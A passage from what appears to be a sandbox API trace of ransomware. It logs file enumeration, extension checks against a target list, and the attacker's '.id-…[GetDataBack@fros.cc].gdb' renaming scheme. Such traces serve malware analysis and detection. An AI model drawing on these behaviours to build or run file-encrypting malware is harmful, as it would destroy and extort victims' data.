dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0133.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0133.436] lstrlenW (lpString=".doc") returned 4 [0133.436] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0133.436] lstrlenW (lpString=".docx") returned 5 [0133.436] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0133.436] lstrlenW (lpString=".pdf") returned 4 [0133.436] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0133.436] lstrlenW (lpString=".xls") returned 4 [0133.437] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0133.437] lstrlenW (lpString=".xlsx") returned 5 [0133.437] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0133.437] lstrlenW (lpString=".ppt") returned 4 [0133.437] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0133.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0133.437] lstrlenW (lpString=".zip") returned 4 [0133.437] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0133.437] lstrlenW (lpString=".rar") returned 4 [0133.437] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0133.437] lstrlenW (lpString=".bz2") returned 4 [0133.437] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0133.437] lstrlenW (lpString=".7z") returned 3 [0133.437] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0133.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0133.437] lstrlenW (lpString=".dbf") returned 4 [0133.437] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0133.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0133.437] lstrlenW (lpString=".1cd") returned 4 [0133.437] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0133.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0133.437] lstrlenW (lpString=".jpg") returned 4 [0133.437] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0133.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0133.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0133.437] lstrlenW (lpString=".doc") returned 4 [0133.437] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0133.437] lstrlenW (lpString=".docx") returned 5 [0133.437] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0133.437] lstrlenW (lpString=".pdf") returned 4 [0133.437] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0133.437] lstrlenW (lpString=".xls") returned 4 [0133.437] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0133.438] lstrlenW (lpString=".xlsx") returned 5 [0133.438] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0133.438] lstrlenW (lpString=".ppt") returned 4 [0133.438] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0133.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0133.438] lstrlenW (lpString=".zip") returned 4 [0133.438] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0133.438] lstrlenW (lpString=".rar") returned 4 [0133.438] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0133.438] lstrlenW (lpString=".bz2") returned 4 [0133.438] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0133.438] lstrlenW (lpString=".7z") returned 3 [0133.438] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0133.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0133.438] lstrlenW (lpString=".dbf") returned 4 [0133.438] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0133.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0133.438] lstrlenW (lpString=".1cd") returned 4 [0133.438] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0133.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0133.438] lstrlenW (lpString=".jpg") returned 4 [0133.438] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0133.438] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0133.438] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0133.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0133.439] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=4096) returned 1 [0133.439] CloseHandle (hObject=0x22c) returned 1 [0133.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0133.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0133.439] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0133.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0133.440] lstrlenW (lpString=".doc") returned 4 [0133.453] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0133.453] lstrlenW (lpString=".docx") returned 5 [0133.453] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0133.475] lstrlenW (lpString=".pdf") returned 4 [0133.475] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0133.475] lstrlenW (lpString=".xls") returned 4 [0133.475] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0133.475] lstrlenW (lpString=".xlsx") returned 5 [0133.475] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0133.475] lstrlenW (lpString=".ppt") returned 4 [0133.475] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0133.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0133.475] lstrlenW (lpString=".zip") returned 4 [0133.475] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0133.476] lstrlenW (lpString=".rar") returned 4 [0133.476] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0133.476] lstrlenW (lpString=".bz2") returned 4 [0133.476] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0133.476] lstrlenW (lpString=".7z") returned 3 [0133.476] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0133.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0133.476] lstrlenW (lpString=".dbf") returned 4 [0133.476] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0133.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0133.476] lstrlenW (lpString=".1cd") returned 4 [0133.476] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0133.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0133.476] lstrlenW (lpString=".jpg") returned 4 [0133.476] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0133.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0133.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0133.476] lstrlenW (lpString=".doc") returned 4 [0133.476] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0133.476] lstrlenW (lpString=".docx") returned 5 [0133.476] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0133.476] lstrlenW (lpString=".pdf") returned 4 [0133.476] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0133.476] lstrlenW (lpString=".xls") returned 4 [0133.476] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0133.476] lstrlenW (lpString=".xlsx") returned 5 [0133.476] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0133.476] lstrlenW (lpString=".ppt") returned 4 [0133.476] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0133.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0133.476] lstrlenW (lpString=".zip") returned 4 [0133.476] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0133.476] lstrlenW (lpString=".rar") returned 4 [0133.476] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0133.477] lstrlenW (lpString=".bz2") returned 4 [0133.477] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0133.477] lstrlenW (lpString=".7z") returned 3 [0133.477] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0133.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0133.477] lstrlenW (lpString=".dbf") returned 4 [0133.477] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0133.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0133.477] lstrlenW (lpString=".1cd") returned 4 [0133.477] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0133.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0133.477] lstrlenW (lpString=".jpg") returned 4 [0133.477] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0133.477] lstrcmpiW (lpString1=".exe", lpString2=".gdb") returned -1 [0133.477] lstrlenW (lpString="ConvertInkStore.exe") returned 19 [0133.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0133.478] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=193024) returned 1 [0133.478] CloseHandle (hObject=0x20c) returned 1 [0133.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe")) returned 0x20 [0133.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0133.478] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0133.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0133.478] lstrlenW (lpString=".doc") returned 4 [0133.478] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0133.478] lstrlenW (lpString=".docx") returned 5 [0133.478] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0133.478] lstrlenW (lpString=".pdf") returned 4 [0133.478] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0133.478] lstrlenW (lpString=".xls") returned 4 [0133.478] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0133.478] lstrlenW (lpString=".xlsx") returned 5 [0133.478] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0133.478] lstrlenW (lpString=".ppt") returned 4 [0133.478] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0133.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0133.479] lstrlenW (lpString=".zip") returned 4 [0133.479] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0133.479] lstrlenW (lpString=".rar") returned 4 [0133.479] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0133.479] lstrlenW (lpString=".bz2") returned 4 [0133.479] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0133.479] lstrlenW (lpString=".7z") returned 3 [0133.479] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0133.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0133.479] lstrlenW (lpString=".dbf") returned 4 [0133.479] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0133.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0133.479] lstrlenW (lpString=".1cd") returned 4 [0133.479] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0133.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0133.479] lstrlenW (lpString=".jpg") returned 4 [0133.479] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0133.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0133.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0133.479] lstrlenW (lpString=".doc") returned 4 [0133.479] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0133.479] lstrlenW (lpString=".docx") returned 5 [0133.479] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0133.479] lstrlenW (lpString=".pdf") returned 4 [0133.479] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0133.479] lstrlenW (lpString=".xls") returned 4 [0133.479] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0133.479] lstrlenW (lpString=".xlsx") returned 5 [0133.479] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0133.480] lstrlenW (lpString=".ppt") returned 4 [0133.480] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0133.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0133.480] lstrlenW (lpString=".zip") returned 4 [0133.480] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0133.480] lstrlenW (lpString=".rar") returned 4 [0133.480] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0133.480] lstrlenW (lpString=".bz2") returned 4 [0133.480] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0133.480] lstrlenW (lpString=".7z") returned 3 [0133.480] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0133.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0133.480] lstrlenW (lpString=".dbf") returned 4 [0133.480] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0133.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0133.480] lstrlenW (lpString=".1cd") returned 4 [0133.480] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0133.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0133.480] lstrlenW (lpString=".jpg") returned 4 [0133.480] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0133.480] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0133.480] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0133.480] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0133.481] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=3584) returned 1 [0133.481] CloseHandle (hObject=0x20c) returned 1 [0133.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0133.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0133.481] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0133.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0133.481] lstrlenW (lpString=".doc") returned 4 [0133.481] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0133.481] lstrlenW (lpString=".docx") returned 5 [0133.481] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0133.481] lstrlenW (lpString=".pdf") returned 4 [0133.481] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0133.481] lstrlenW (lpString=".xls") returned 4 [0133.482] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0133.482] lstrlenW (lpString=".xlsx") returned 5 [0133.482] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0133.482] lstrlenW (lpString=".ppt") returned 4 [0133.482] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0133.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0133.482] lstrlenW (lpString=".zip") returned 4 [0133.482] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0133.482] lstrlenW (lpString=".rar") returned 4 [0133.482] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0133.482] lstrlenW (lpString=".bz2") returned 4 [0133.482] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0133.482] lstrlenW (lpString=".7z") returned 3 [0133.482] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0133.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0133.482] lstrlenW (lpString=".dbf") returned 4 [0133.482] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0133.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0133.482] lstrlenW (lpString=".1cd") returned 4 [0133.482] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0133.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0133.482] lstrlenW (lpString=".jpg") returned 4 [0133.482] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0133.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0133.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0133.482] lstrlenW (lpString=".doc") returned 4 [0133.482] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0133.482] lstrlenW (lpString=".docx") returned 5 [0133.482] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0133.482] lstrlenW (lpString=".pdf") returned 4 [0133.482] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0133.482] lstrlenW (lpString=".xls") returned 4 [0133.482] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0133.483] lstrlenW (lpString=".xlsx") returned 5 [0133.483] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0133.483] lstrlenW (lpString=".ppt") returned 4 [0133.483] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0133.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0133.483] lstrlenW (lpString=".zip") returned 4 [0133.483] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0133.483] lstrlenW (lpString=".rar") returned 4 [0133.483] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0133.483] lstrlenW (lpString=".bz2") returned 4 [0133.483] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0133.483] lstrlenW (lpString=".7z") returned 3 [0133.483] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0133.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0133.483] lstrlenW (lpString=".dbf") returned 4 [0133.483] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0133.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0133.483] lstrlenW (lpString=".1cd") returned 4 [0133.483] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0133.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0133.483] lstrlenW (lpString=".jpg") returned 4 [0133.483] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0133.483] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0133.483] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0133.483] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0133.484] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=3584) returned 1 [0133.484] CloseHandle (hObject=0x20c) returned 1 [0133.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0133.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0133.484] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0133.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0133.484] lstrlenW (lpString=".doc") returned 4 [0133.484] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0133.484] lstrlenW (lpString=".docx") returned 5 [0133.485] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0133.485] lstrlenW (lpString=".pdf") returned 4 [0133.485] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0133.485] lstrlenW (lpString=".xls") returned 4 [0133.485] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0133.485] lstrlenW (lpString=".xlsx") returned 5 [0133.485] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0133.485] lstrlenW (lpString=".ppt") returned 4 [0133.485] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0133.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0133.485] lstrlenW (lpString=".zip") returned 4 [0133.485] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0133.485] lstrlenW (lpString=".rar") returned 4 [0133.485] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0133.485] lstrlenW (lpString=".bz2") returned 4 [0133.485] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0133.485] lstrlenW (lpString=".7z") returned 3 [0133.485] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0133.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0133.485] lstrlenW (lpString=".dbf") returned 4 [0133.485] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0133.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0133.485] lstrlenW (lpString=".1cd") returned 4 [0133.485] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0133.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0133.485] lstrlenW (lpString=".jpg") returned 4 [0133.485] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0133.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0133.485] lstrlenW (lpString="C:\\Program 